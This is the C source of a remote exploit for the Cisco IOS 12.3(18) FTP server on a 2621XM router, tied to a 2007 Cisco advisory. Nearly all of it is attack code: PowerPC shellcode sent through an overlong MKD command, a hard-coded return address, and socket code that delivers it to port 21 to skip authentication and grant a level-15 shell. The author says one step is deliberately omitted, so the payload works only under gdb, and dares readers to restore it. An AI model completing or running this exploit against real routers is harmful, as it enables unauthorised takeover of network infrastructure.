Cisco IOS 12.3(18) FTP Server Remote Exploit (attached to gdb)

/* Cisco IOS FTP server remote exploit by Andy Davis 2008

Cisco Advisory ID: cisco-sa-20070509-iosftp - May 2007

Specific hard-coded addresses for IOS 12.3(18) on a 2621XM router

Removes the requirement to authenticate and escalates to level 15

*********************************************************************
To protect the innocent a critical step has been omitted, which means
the shellcode will only execute when the router is attached to gdb.
I'm sure the PowerPC shellcoders out there will work it out...
*********************************************************************

Thanks to Gyan Chawdhary and Varun Uppal for all the hours they spent
on the original IOS security research

iosftpexploit googlemail 'dot' com */ #include
#include
#include
#include #define PORT 21 int main(int argc, char **argv)
{
unsigned char sendbuf[] = "MKD " /* .equ vty_info, 0x8182da60 # pointer to VTY info */
/* .equ terminate, 0x80e4086c # kill a process */ "\x3c\x80\x81\x83" /* lis 4,vty_info@ha */
"\x38\x84\xda\x60" /* la 4,vty_info@l(4) */
"\x7d\x08\x42\x78" /* xor 8,8,8 */
"\x7c\xe4\x40\x2e" /* lwzx 7,4,8 */
"\x91\x07\x01\x74" /* stw 8,372(7) */
"\x39\x08\xff\xff" /* subi 8,8,1 */
"\x38\xe7\x09\x1a" /* addi 7,7,233 */
"\x91\x07\x04\xca" /* stw 8,1226(7) */
"\x7d\x03\x43\x78" /* mr 3,8 */
"\x3c\x80\x80\xe4" /* lis 4,terminate@ha */
"\x38\x84\x08\x6c" /* la 4,terminate@l(4) */
"\x7c\x89\x03\xa6" /* mtctr 4 */
"\x4e\x80\x04\x20" /* bctr */ /* exists cleanly without adversely affecting the FTP server */ "\x61\x61\x61\x61" /* padding */
"\x61\x61\x61\x61" /* padding */
"\x61\x61\x61\x61" /* padding */
"\x61\x61\x61\x61" /* padding */
"\x61\x61\x61\x61" /* padding */
"\x61\x61\x61\x61" /* padding */ "\x80\x06\x23\xB8" /* return address */
"\x0d\x0a"; /* trampoline code */
/* when the overflow occurs r26 0x14 points to the shellcode */
/*
0x800623B8 lwz 26, 20(26)
0x800623BC mtctr 26
0x800623C0 mr 3, 27
0x800623C4 bctrl
*/ unsigned char recvbuf[256];
struct sockaddr_in servaddr;
int s; if (argc != 2)
{
printf ("\nCisco IOS FTP server remote exploit by Andy Davis 2008\n"); printf ("\nUsage: %s \n",argv[0]);
exit(-1);
} servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr(argv[1]);
servaddr.sin_port = htons(PORT); s = socket(AF_INET, SOCK_STREAM, 0);
connect (s, (struct sockaddr *) &servaddr, sizeof(servaddr));
printf ("\nCisco IOS FTP server remote exploit by Andy Davis 2008\n");
printf ("Specific offsets for IOS 12.3(18) on a 2621XM router\n\n");
printf ("Sending exploit...\n\n"); if (send(s, sendbuf, sizeof(sendbuf)-1, 0) == 0)
{
printf("Error sending packet...quitting\n\n");
exit (1);
}
recv (s, recvbuf, sizeof(recvbuf)-1,0);
printf ("Now telnet to the router for a shell...\n\n");
}